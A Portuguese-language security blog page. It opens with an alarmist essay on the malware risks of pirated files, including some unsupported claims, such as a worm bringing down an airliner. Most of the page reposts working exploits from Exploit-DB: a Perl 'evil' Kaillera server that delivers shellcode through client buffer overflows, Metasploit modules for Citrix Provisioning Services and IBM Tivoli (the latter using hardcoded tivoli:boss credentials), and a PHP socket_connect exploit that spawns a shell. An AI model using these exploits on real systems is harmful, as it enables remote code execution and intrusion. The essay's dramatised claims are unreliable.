Segurança da Informação

Standard

Segurança da Informação (parte 1) – Conceitos Mod NUB 1

 

Intitulo “mod nub 1” a este artigo pois o considero extremamente básico para quem está querendo se aprofundar em um assunto, que na verdade é um mundo (e olhe que não é novo) vasto, não completamente desvendado e ainda um ramo cujo grau de conhecimento é levado ao extremo e requer superação mais que diária. (complicado de entender, não?… NÃO!)

Novamente não justifico o termo nub 1 para pessoas que não sabem de nada, na verdade destina-se a uma afirmação -> Vamos falar com simplicidade sobre o que é segurança.

Mais em breve faremos um artigo com mais ênfase em espionagem industrial.
Esse artigo na verdade encaixa-se muito bem às pessoas que adoram pirataria, ou “gestores de ti” que costumam “amarrar investimentos” (sim… sabe aqueles IMACS que sua empresa não compra alegando que é um investimento MUITO, MUITO, MUITO alto? Talvez aquilo não tenha tanta possibilidade de cair na malha fina dos [firmwares] de Motherboards, o que nada mais nada menos seria que um trojan (falo de backdoor) auto instalado/inicializado sempre que teu sistema for formatado/reiniciado/inicializado. OU talvez, quem sabe, a falta de conhecimento em ambientes Linux ou mesmo SOLUÇÕES para segurança proativa dos pcs é tratada como uma cereja do bolo [quando na verdade equivale-se à água que bebemos]).

 

Dividiremos este nub article em 2 pontos de vista:

 

– O carinha que chega em casa, fica de cueca em frente o seu laptop, com um umidificador de ar por perto de aparelhos eletrônicos (nub NE?).

– A instituição que possui um baú de ouro (é camarada, aquele DB, Aquele source que vocês desenvolvem, aquele aplicativo que parece uma arma nuclear, que vale muito e lhe custa muito, ou mais especificamente, aquela instituição que tem algo aonde vale a pena por em risco sua liberdade [sim, se for pego é xadrez!]).

 

Ao ponto 1, usuários domésticos

Como é gostosa a tentação de baixar um filme gravado através de um botão de camisa de um internauta que foi ao cinema, não? (sim, existem camcorders do tamanho de um botão de camisa, e não são caros)

Ou aquele aplicativo que custar-lhe-ia R$ 2.500,00, ou ainda melhor, “vamos testar esse Windows novo que saiu, achei aqui, olha, um torrent no the pirate bay… baixa aí, não, deixa que baixo na empresa, o link lá é bom…”, preciso comentar que isto é realidade absoluta? E os mp3s? Vamos baixar CDs?

Tenho fatos técnicos que vão fazer você mudar essa mentalidade.

Vamos ao ponto máximo da charada:

EU SERIA UM IMBECIL de simplesmente gravar com camcoder um filme inteiro (digamos, velozes e furiosos 5, ou mesmo Missão Impossível 4 [assistir amanhã]) com a vulnerabilidade de ser pego pela polícia, perder mulher, filho, cachorra e PC? Ou disponibilizar o último DVD do artista nacional/internacional mais caro e mais cobiçado da atualidade de graça?

Sim, isso deixa alguém por anos atrás de um paredão de concreto e aço.

TUDO, TUDO mesmo tem um preço, correr um risco tão absurdo de sofrer punições com leis nacionais (e até internacionais) não poderá lhe custar tão barato assim (falo como “downloader”), se você vive de baixar algo “arrumo free na web”, prepare os lombos pois vou agredir-lhe!

Existem técnicas (veja-as: http://pt.wikipedia.org/wiki/Esteganografia) que servem justamente para acabar com sua alegria. Esteganografia é o fato técnico para toda criminalidade baseada em “sharing”.
Esta questão de invisibilidade é tão séria que Charles Chaplin participou de um concurso de sósias DELE MESMO e tirou em terceiro lugar! Sim, nem ele parecia com ele mesmo… rsrsrs…

Deixe-me clarear sua mente. Se eu chegar em sua casa de terno e gravata eu sou o little_oak de terno e gravata, correto? ERRADO! Debaixo do meu terno posso estar carregando uma pistola, granada ou até mesmo um iphone 4 s ou um milestone 2 ;D.

Mas espere… você só sabia que eu tinha terno e gravata, não?

É aí que  a casa cai para você!

Em um filme/arquivo pdf/aplicativo pirata (ou Não pirata, mas a margem sob piratas é de pelo menos 90%) você estará carregando uma bomba oculta, isto graças aos joinners, sim, aplicativos que colocam UM ARQUIVO DENTRO DE OUTRO.

E você aí, se chegou até aqui deve estar dizendo: E EU COM ISSO?

“Lá xibatada”:
Quando eu executo um arquivo/programa/música em meu PC, baixados ou não da internet, a permissão que eu tenho como usuário será atribuída ao arquivo (sim, sim, não adianta falar de botão direito e executar com X nível de permissão que isso é passado/besteira quando falamos de buffer overflow/scalation) no momento da execução. AINDA QUE VOCÊ POSSUA UM ANTIVÍRUS PAGO, se você autoriza um arquivo a executar em seu S.O., o grau de detecção passa a ser mínimo (falo da defesa proativa do seu antivírus), logo você torna-se vulnerável!

Antivírus trabalham monitorando eventos/sockets/serviços do seu sistema, qualquer anomalia de comportamento em um dos 3 fatos desencadeia na execução de processos da defesa proativa do seu antivírus.

Até aí você sente-se blindado, está tudo atualizado mesmo… Enganou-se novamente!

Se você autorizou um aplicativo/filme/mp3 a rodar no seu S.O. há uma imensa chance de seu antivírus passar a confiar no comportamento (trust list), em outras palavras, FERROU-SE AMIGO!

Sabe aquele texto bacana que você escreveu para um artigo, ou para dar em cima da sua mulher / paquera / namorada / ficante… etc… etc…? Alguém já o leu devido sistemas de keyloggers automatizados! Rsrsrsrs…

Sabe aqueles dados do banco… Já se foram também… (isso vira inferno até na vida de terceiros… rsrsrsrs, depois detalho mais). Talvez você diga:

SAI DAÍ, BESTÃO, existe teclado virtual e senha que nem digito… hihiihi, bestão…

E EU LHE RESPONDO -> EXISTEM SCREENLOGGERS QUE PRINTAM CADA TELA TUA E ENVIAM DE FORMA ANÔNIMA E AUTORIZADA PELO TEU ANTIVÍRUS GRAÇAS A SUA NEGLIGÊNCIA DE BAIXAR TUDO E EXECUTAR TUDO QUE ENCONTRA NA WEB!

E se houverem dados de um processo contra alguém, uma informação sigilosa, um dado muito importante da minha família, amigos e etc? Isso foi junto?

CLARO QUE TUDO QUE CITEI trabalha em cima de probabilidades de sucesso MUITO ALTAS, e é provável que a resposta aqui seja SIM!

 

COMO RESOLVER ISSO?

1 – Formatar seu PC será quase nulo se estiver usando mídia pirata!

2 – Sim, aqueles “processos SEXY” com nome adob.exe, msnmsgss.exe, ou mesmo o svchost “aparentando santidade” não te garantem dias felizes, seu antivírus, mesmo sendo pago deverá ser substituído por outro que NÃO TEM UMA TRUST LIST (isso é SOMENTE para higienização, refiro-me a trustlist “virgem”).

3 – Evite baixar “QUALQUER COISA” NO SEU PC!

4 – SIM, aqueles emails que vêm de pessoas conhecidas suas SÃO PRIORIDADE para scan, principalmente os que possuem títulos como: “PEGUEI AS FOTOS DA TRAIÇÃO”, “EU LHE FALEI…”, “SEU NOME ESTÁ NO SPC”… etc.  (provavelmente o PC desta pessoa já se foi junto com tantos trojans, aquilo lá, na verdade é um estábulo de tanto cavalo de Tróia).

Antes que você ache que estou sendo muito metido, pense com carinho, pois da forma que citei ainda é possível usar seu PC como gateway para ataque a um banco, por exemplo, ou apenas como um PC zombie afim de estourar links de servidores, fazer spam e etc (SIM, ISTO TUDO SEM QUE VOCÊ POSSA VER, POIS SEU ANTIVÍRUS AUTORIZOU NAQUELA VEZ QUE INSTALOU PROGRAMA_YXZ NO SEU PC).

Vou citar algo melhor. Há poucos anos um avião comercial caiu em detrimento da falta de comunicação ocasionada entre base de controle -> aeronave. Isto ocorreu por causa de um worm que causou overload (super utilizou os recursos do sistema operacional da aeronave) e a aeronave não recebou as informações detalhadas sobre falhas que ocorriam no voo. O Final nós já sabemos… Lamentável (falo sem hipocrisia).

 

Não citei todos os casos graves e muitos detalhes técnicos pois, do contrário passaria dias.


Vamos falar de empresas agora!

Lamento pelo texto parecer grosseiro, mas errar de maneira equivocada afim de “alimentar” seu ego ou puramente por “economias de vinho tinto e peru” não são tolerados para crackers.

Você, gestor/admin de um setor de TI, sabia que pessoas morreram em 1989 (companhia chamada Partnair), em um voo comercial em detrimento de 3 parafusos falsos que seguravam a peça superior final do avião? (sim, o leme) OBS: Eram 4 parafusos, somente um era de fato AUTÊNTICO!

3 parafusos pirateados fizeram pessoas (pais de famílias, donos de empreendimentos que sustentavam famílias, não só isso, houve até um conflito diplomático na intenção de localizar erros militares para culpar forças militares por um erro de BURRECES ECONÔMICAS?) morrerem.

Aonde você se encaixa?

Cuidado pois sua rede pode não ter tanta segurança como aparenta ter (nem falo de smartphones ferrados, notebooks de funcionários ferrados e etc, falo de pirataria MESMO), e o pior, os dados da sua empresa podem estar nas mãos de outros… Isso sim é complicado…

Reflita como pessoa (sim, no ponto quando falo para home users) e veja se sua instituição merece o fim do voo comercial de 1989. Pense no que faz para evitar perder suas preciosas férias com higienizações de rede, reestruturação de segurança e até mesmo de um efetivo novo (perder aqueles caras que programam muito, que possuem um know how elevado, imagine esses caras indo embora por causa de reestruturações?).

 

Continua em breve… (falar mais de exploits, metodologias, erros comuns… etc… etc…)

Feliz 2012.

 

 

Kaillera Multiple Clients Buffer Overflow Vulnerabilities

Standard

#!/usr/bin/perl

# Exploit Title: Remote Buffer Overflows in Kaillera clients
# Date: 6/30/11
# Author: sil3nt_dre4m
# Software Link: Multiple:
# 1.  Kaillera original client: An emulator to download with this client bundled with it is Project64K 0.13: http://www.zophar.net/download_file/1907
# 2.  Supraclient 0.85.2 CPPE : This client can be found here: http://morphus56k.110mb.com/website/downloads/SupraclientCPPE_v0.85.2.zip
# 3.  Open Kaillera p2p client: http://sourceforge.net/projects/okai/files/Client/n02.p2p%20v0/n02.P2P.v0r6.client.v0.5r0.zip/download
# Version: Multiple-see below
# Tested on: Windows XP, Windows 7
#Introduction:
#This script acts as a Kaillera server in order to exploit various Kaillera clients.
#Kaillera facilitates playing emulator games over a network.
#The Kaillera protocol is built on top of UDP and is mostly documented here: http://www.emulinker.com/index.php?page=Documentation&help=true
#Kaillera clients implement this protocol, and many of them have serious vulnerabilities in their code.
#This server is capable of exploiting buffer overflows in the following clients:
#Exploit tested against Windows 7 and XP machines, gets around ASLR (modules don't have it loaded).
#Note: If you wish to exploit the same client twice, you will need to restart the server.
#To reproduce the bugs shown here:
#1.  Download the Kaillera client you wish to test bug on.
#2.  Download emulator capable of Kaillera netplay, or one which this script targets (Mame32k, and so forth).
#3.  Overwrite existing kailleraclient.dll with the one you wish to exploit (Supraclient, open kaillera, original client).
#4.  Look for something that says netplay or Kaillera, and select it.  In each emulator its different, for instance in Project64K go to File > Start Netplay.
#5.  Run this server and connect to the IP its hosted on with the kaillera client.
#Greetz to: Blindgeek and jediknight304 for much help with this script, corelanc0d3r for
#awesome tutorials on buffer overflows, and Requiem for help with fixing security bugs in Kaillera clients.
#DISCLAIMER: I'm not responsible for how you use this code.
#By running this code, you agree to accept responsibility for how you use it and you agree to not hold me responsible for any problems arising from running this code.
#Final Note: For more information on Kaillera vulnerabilities and remediation information, check out http://kaillerahacks.blogspot.com/.
use strict;
use warnings;
use IO::Socket;
use Getopt::Long;
use Digest::MD5 qw(md5);
use subs qw(sendmessage help);
### Shellcode- spawn calc.exe from Metasploit Framework - ###
my $sc =
"x31xc9xddxc5xb8xe6xd8x80xa4xb1x33xd9x74x24" .
"xf4x5ax31x42x16x83xeaxfcx03x42xf4x3ax75x58" .
"x10x33x76xa1xe0x24xfex44xd1x76x64x0cx43x47" .
"xeex40x6fx2cxa2x70xe4x40x6bx76x4dxeex4dxb9" .
"x4exdex51x15x8cx40x2ex64xc0xa2x0fxa7x15xa2" .
"x48xdaxd5xf6x01x90x47xe7x26xe4x5bx06xe9x62" .
"xe3x70x8cxb5x97xcax8fxe5x07x40xc7x1dx2cx0e" .
"xf8x1cxe1x4cxc4x57x8exa7xbex69x46xf6x3fx58" .
"xa6x55x7ex54x2bxa7x46x53xd3xd2xbcxa7x6exe5" .
"x06xd5xb4x60x9bx7dx3fxd2x7fx7fxecx85xf4x73" .
"x59xc1x53x90x5cx06xe8xacxd5xa9x3fx25xadx8d" .
"x9bx6dx76xafxbaxcbxd9xd0xddxb4x86x74x95x57" .
"xd3x0fxf4x3dx22x9dx82x7bx24x9dx8cx2bx4cxac" .
"x07xa4x0bx31xc2x80xe3x7bx4fxa0x6bx22x05xf0" .
"xf6xd5xf3x37x0ex56xf6xc7xf5x46x73xcdxb2xc0" .
"x6fxbfxabxa4x8fx6cxccxecxf3xf3x5ex6cxdax96" .
"xe6x17x22x53";
########Variables##############
my $adjust ="x81xc4x54xf2xffxff"; # add esp, -3500 adjusts the stack
my $ack="x05x00x00x00x00x00x01x00x00x00x02x00x00x00x03x00x00x00"; #ACK packet in Kaillera protocol, see docs
my $ServerStatus="x04" . "x00" x 9; # No other users shown in server.
my $oldjunk="A" x 92; #For exploiting old Kaillera client username BOF.
my $junk="A" x 2082; #For exploiting P2P Kaillera client
my $suprajunk="A" x 2048; #Supraclient junk
my $MOTDHeader="x17" . "Server";
my $MOTDMessage="Hello, Welcome to the Server";
my $nseh="xebx06x90x90"; #short jmp for SEH exploits
my $seh, my $eip;
my $ServerExploit;
my $username;
my %inc; #increments a counter per client connected to us, each time a message is sent
my ($port, $ip, $help, $target, $listtarget, $listemu, $emu, $delay, $debug);
$port = 27888;
GetOptions(
'port=i'=>$port,
'ip=s' =>$ip,
'help' =>$help,
't=s' =>$target,
'emu=s' =>$emu,
'targets' =>$listtarget,
'delay=i' =>$delay,
'debug' =>$debug,
'emus' =>$listemu
);
if (defined $listtarget) {
print "rn=========Pick a version of Kaillera to attack :) ========rnrn" ;
print "1.  Kaillera 0.9/Anti3d  -t old rnrnPick emulator to target with -emu flag: mame32k, snes, mupenrnrn";
print "2.  SupraclientCPPE 0.85.2  -t supra:rnrnPick emulator to target with -emu flag: mame32, mupenrnrn";
print "3.  Open Kaillera n02v0r6  -t p2p (Universal Exploit)rn" ;
}
if (defined $listemu) {
print "rn=========Specific versions of emulators being attacked :) ============" . "rnrn" ;
print "Mame32k 0.64  -emu mame32krnrn";
print "Mame32++ 0.117  -emu mame32rnrn";
print "Mupen64k 0.7.9  -emu mupenrnrn";
print "Snes9k 0.09  -emu snesrn";
}
help() if($help or not defined $ip or not defined $target);
#Note: add new targets like this, but make sure to use $variable when redefining, not "my $variablename" or it wont work from earlier scope.
#Also, note that target "old" uses SEH-based overflow while target "supra" uses EIP overwrite.
if ($target eq "old") {
if (not defined $emu) {
print "rnPick an emulator to target, this exploit isn't universalrn";
help();
}
if ($emu eq "mame32k") {
print "rnTargetting Mame32k 0.64 running with Kaillera client 0.9...rn";
$seh=pack('V',0x010B3A06); # #pop ebx - pop esi - ret at 0x010B3A06 [mame32k.exe]
}
elsif ($emu eq "snes") {
print "rnTargetting Snes9k 0.09 running with Kaillera client 0.9...rn";
$seh=pack('V',0x10018ECD); # pop ebx - pop ecx - ret at 0x10018ECD [sdl.dll]
}
elsif ($emu eq "mupen") {
print "rnTargetting Mupen64k 0.7.9 running with Kaillera client 0.9...rn";
$seh=pack('V', 0x67F46FEF); #pop edi - pop ebp - ret at 0x67F46FEF [mupen64_rsp_hle.dll].
}
else {
print "rnPick a valid emulator to target: -emus to list emulators rn";
help();
}
}
elsif ($target eq "p2p") {
print "rnTargetting P2P Client (Universal exploit)...rn";
if (defined $emu) {
print "rnUniversal exploit, no emu necessary...rn";
help();
}
}
elsif ($target eq "supra") {
if (not defined $emu) {
print "rnPick an emulator to target, this exploit isn't universalrn";
help();
}
if ($emu eq "mame32") {
print "rnTargetting Mame32++ 0.117 running with Supraclient...rn";
$eip=pack('V', 0x01C01104); #jmp esp in mameppkgui.exe
}
elsif ($emu eq "mupen") {
print "rnTargetting Mupen64k 0.7.9 running with Supraclient...rn";
$eip=pack('V', 0x10021C16); #jmp esp at 0x10021C16 [aziaudio.dll]
}
}
else {
print "rnPick a valid target, try -targets if you're lost.rn";
help();
}
my $hello = "HELLOD00D$port";
#Open a new socket, start an infinite loop receiving messages from clients
my $sock = IO::Socket::INET->new(Proto=>'udp', LocalPort=>$port) or die "Error opening $ip:$port rn$!";
print "Evil Kaillera Server Started on $ip:$port, waiting for victims :Drn";
my $msg_in;
my $MAX_MESSAGE_LENGTH=5000;
while (1) {
$sock->recv($msg_in,$MAX_MESSAGE_LENGTH);
my $packet = unpack 'H*', $msg_in;
if (defined $debug) {
print "Packet found: $packetn";
}
my $peerhost = $sock->peeraddr;
my $peerport = $sock->peerport;
#Check for client hello, send server hello
if ($msg_in =~ m/HELLO0.83/) {
print "Sending Hello...n";
$sock->send($hello);
}
#Since we're using an IF loop for username detection, the scope needs to be over everything else,
#because local machine processes data faster than incoming network data.
#Otherwise, username won't be detected until AFTER ServerAnnouncement is sent and it wont work.
if ($msg_in =~ m/x03(.*?x00)/){
my $username = $1 ;
my $ServerAnnounce="x02" . $username . substr(md5($username),0,2) . "x00" x 4 . "x01"; #Not Complete yet
if ($packet=~m/.{10}03/) {
if (defined $debug) {
print "Username $username foundrn" . "Sending ACKs to client...rn";
}
sendpacket($sock, $ack) for (1..3);
sleep 1;
}
sendpacket($sock, $ServerStatus);
print "Sending ServerStatus...rn";
sendpacket($sock, $ServerAnnounce);
if ($target eq "p2p") {
print "Attacking p2p client...rn";
$eip=pack('V',0x100123F3); # call esp in kailleraclient.dll, universal
sendpacket($sock, $MOTDHeader.$junk.$eip.$sc);
print "Sending MOTD payload to P2PClient...n";
if (defined $delay) {
sleep $delay;
}
}
if ($target eq "supra") {
print "Sending MOTD payload to Supraclientrn";
sendpacket($sock, $MOTDHeader.$suprajunk.$eip.$adjust.$sc);
if (defined $delay) {
sleep $delay;
}
}
if ($target eq "old") {
print "Sending Announce, MOTD to old kaillera client...rn";
sendpacket($sock, $MOTDHeader.$MOTDMessage);
my $ServerExploit="x02" . $oldjunk . $nseh . $seh . $sc;
print "Sending ServerStatus payload to 0.9 client...rn";
sendpacket($sock, $ServerExploit);
if (defined $delay) {
sleep $delay;
}
}
}
}
$sock->close;
########### FUNCTIONS #####################
sub help{
print "rnUsage: $0 -port=1111 -ip=1.1.1.1 -t=supra -emu=mame32 -targets -emus -delay 10 -debug -helpn";
exit 0;
}
#This sendmessage function takes a message and an ip, and sends it nicely - thanks jediknight304
#sendpacket($socket, $message, $anothermessage);
sub sendpacket{
my $sock = shift;
bless $sock, "IO::Socket::INET";
my @messages = @_;
my $numberofmessages = @messages;
my $messagesbyte = pack('c',$numberofmessages);#how many messages are in our packet
my $packet;
for(@messages){
#each client has to have an incrementing packet number
my $header = pack('v', $inc{$$sock->peeraddr}++) . pack ('v', length($_));
$packet .= $header.$_;
}
$$sock->send($messagesbyte.$packet) or die "Couldn't send:n$packetn$!";

}

 

Fonte: http://www.exploit-db.com/exploits/17460/

Citrix Provisioning Services 5.6 Overflow

Standard

Citrix Provisioning Services 5.6 streamprocess.exe Buffer Overflow

 

##

# $Id: citrix_streamprocess.rb 13042 2011-06-27 18:00:12Z sinn3r $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::Udp
include Msf::Exploit::Remote::Egghunter
def initialize(info = {})
super(update_info(info,
'Name' => 'Citrix Provisioning Services 5.6 streamprocess.exe Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in Citrix Provisioning Services 5.6.
By sending a specially crafted packet to the Provisioning Services server, a fixed
length buffer on the stack can be overflowed and arbitrary code can be executed.
},
'Author' => 'mog',
'License' => MSF_LICENSE,
'Version' => '$Revision: 13042 $',
'References' =>
[
[ 'OSVDB', '70597'],
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-023/' ],
[ 'URL', 'http://secunia.com/advisories/42954/' ],
[ 'URL', 'http://support.citrix.com/article/CTX127149' ],
],
'DefaultOptions' =>
{
# best at delaying/preventing target crashing post-exploit
'EXITFUNC' => 'process',
'InitialAutoRunScript' => 'migrate -f',
},
'Payload' =>
{
'BadChars' => "x00", # Only "x00x00" breaks the overflow, but this is safer
},
'Platform' => 'win',
'Targets' =>
[
# pop/pop/ret in streamprocess.exe
# Service runs and automatically shuts down in Win 7
[ 'Windows XP SP3 / Windows Server 2003 SP2 / Windows Vista', { 'Ret' => 0x00423d32 } ],
],
'Privileged' => true,
'DefaultTarget' => 0,
'DisclosureDate' => 'Jan 20 2011'))
register_options([Opt::RPORT(6905)], self.class)
end
def exploit
eggoptions =
{
:checksum => true,
:eggtag => 'W00t',
}
hunter,egg = generate_egghunter(payload.encoded, payload_badchars, eggoptions)
sploit = "x10x00x02x40" # message type
sploit << rand_text_alpha_upper(30)
sploit << "x00x01x00x00" # length field
sploit << rand_text_alpha_upper(400)
sploit << hunter
sploit << rand_text_alpha_upper(64 - hunter.length)
sploit << "xEBxBE" # Jump back 66 bytes to hunter because there's
sploit << rand_text_alpha_upper(2) # only 24 bytes of cyclic copy after ret
sploit << [target.ret].pack('V') # SE handler
sploit << rand_text_alpha_upper(50) # Need >= 24 bytes to keep the tag out of the stack
sploit << egg # Payload has a whole page to itself
print_status("Trying target #{target.name}...")
connect_udp
udp_sock.put(sploit)
print_status("Exploit sent, wait for egghunter.")
select(nil, nil, nil, 4) # takes about 8 seconds in tests
handler(udp_sock)
disconnect_udp
end

end

 

Fonte: http://www.exploit-db.com/exploits/17456/

IBM Tivoli Endpoint Manager POST Query Buffer Overflow

Standard

Um pouquinho de overflow não faz mal para ninguém:

##
# $Id: ibm_tivoli_endpoint_bof.rb 12925 2011-06-12 00:04:55Z bannedit $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'IBM Tivoli Endpoint Manager POST Query Buffer Overflow',
'Description' => %q{
This module exploits a stack based buffer overflow in the way IBM Tivoli
Endpoint Manager versions 3.7.1, 4.1, 4.1.1, 4.3.1 handles long POST query
arguments.

This issue can be triggered by sending a specially crafted HTTP POST request to
the service (lcfd.exe) listening on TCP port 9495. To trigger this issue authorization
is required. This exploit makes use of a second vulnerability, a hardcoded account
(tivoli/boss) is used to bypass the authorization restriction.
},
'Author' =>
[
'bannedit', # metasploit module
'Jeremy Brown <0xjbrown[at]gmail.com>', # original public exploit
],
'License' => MSF_LICENSE,
'Version' => '$Revision: 12925 $',
'References' =>
[
[ 'CVE', '2011-1220'],
[ 'OSVDB', '72713'], # buffer overflow
[ 'OSVDB', '72751'], # hardcoded account
[ 'BID', '48049'],
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-169/' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Privileged' => true,
'Payload' =>
{
'Space' => 400,
'BadChars' => "x00x0dx0a",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
['Windows Server 2003 SP0', { 'Ret' => 0x77d80787 }], # user32.dll - jmp esp
['Windows Server 2003 SP1', { 'Ret' => 0x77403680 }], # user32.dll - jmp esp
['Windows Server 2003 SP2', { 'Ret' => 0x77402680 }], # user32.dll - jmp esp
],
'DisclosureDate' => 'May 31 2011'))

register_options(
[
Opt::RPORT(9495),
], self.class )
end

def exploit
print_status("Trying target #{target.name}...")

auth = Rex::Text.encode_base64("tivoli:boss")
varname = rand_text_alpha(rand(10))

sploit = make_nops(1) * 256
sploit << [target.ret].pack('V') sploit << payload.encoded print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}") res = send_request_cgi({ 'uri' => '/addr',
'method' => 'POST',
'headers' =>
{
'Authorization' => "Basic #{auth}"
},
'vars_post' =>
{
varname => sploit,
},
}, 5)

handler
end
end

Fonte: http://www.exploit-db.com/exploits/17392/

PHP inferior ou igual a 5.3.5 socket_connect() Buffer Overflow Vulnerability

Standard

<?php

// Credit: Mateusz Kocielski, Marek Kroemeke and Filip Palian
// Affected Versions: 5.3.3-5.3.6
echo "[+] CVE-2011-1938";
echo "[+] there we go...n";
define('EVIL_SPACE_ADDR', "xffxffxeexb3");
define('EVIL_SPACE_SIZE', 1024*1024*8);
$SHELLCODE =
"x6ax31x58x99xcdx80x89xc3x89xc1x6ax46x58xcdx80xb0".
"x0bx52x68x6ex2fx73x68x68x2fx2fx62x69x89xe3x89xd1".
"xcdx80";
echo "[+] creating the sled.n";
$CODE = str_repeat("x90", EVIL_SPACE_SIZE);
for ($i = 0, $j = EVIL_SPACE_SIZE - strlen($SHELLCODE) - 1 ;
$i < strlen($SHELLCODE) ; $i++, $j++) {
$CODE[$j] = $SHELLCODE[$i];
}
$b = str_repeat("A", 196).EVIL_SPACE_ADDR;
$var79 = socket_create(AF_UNIX, SOCK_STREAM, 1);
echo "[+] popping shell, have fun (if you picked the right address...)n";
$var85 = socket_connect($var79,$b);

?>

 

fonte: http://www.exploit-db.com/exploits/17318

BLOG: Adolescente com 12 anos de idade ganha 3000 U$ da Mozilla por causa de Exploit

Standard

Segundo matéria publicada, um garoto de 12 anos de idade conseguiu explorar uma vulnerabilidade junto ao FireFox (considerado por muitos um dos melhores navegadores de todos os tempos) com uso de exploit. A Mozilla, como é de praxe sempre bonifica seus desenvolvedores que reportam bugs, como foi o caso deste jovem. A matéria relata que o garoto passou alguns dias para poder obter êxito na exploração da vulnerabilidade, mas conseguiu. Para acompanhar a origem desta notícia e saber mais sobre o ocorrido acessem:

http://blog.ffelix.eti.br/noticias/garoto-de-12-anos-ganha-u-3-00000-da-mozilla/

Detalhe, surgindo bugfix por favor corram para o update 😉
Atualizando:
Conforme relato, o Felix nos deu um report de que já foram corrigidos os bugs, então continuamos com o texto inicial (um dos melhores e mais seguros navegadores de todos os tempos).

Obrigado Felix, por sua contribuição.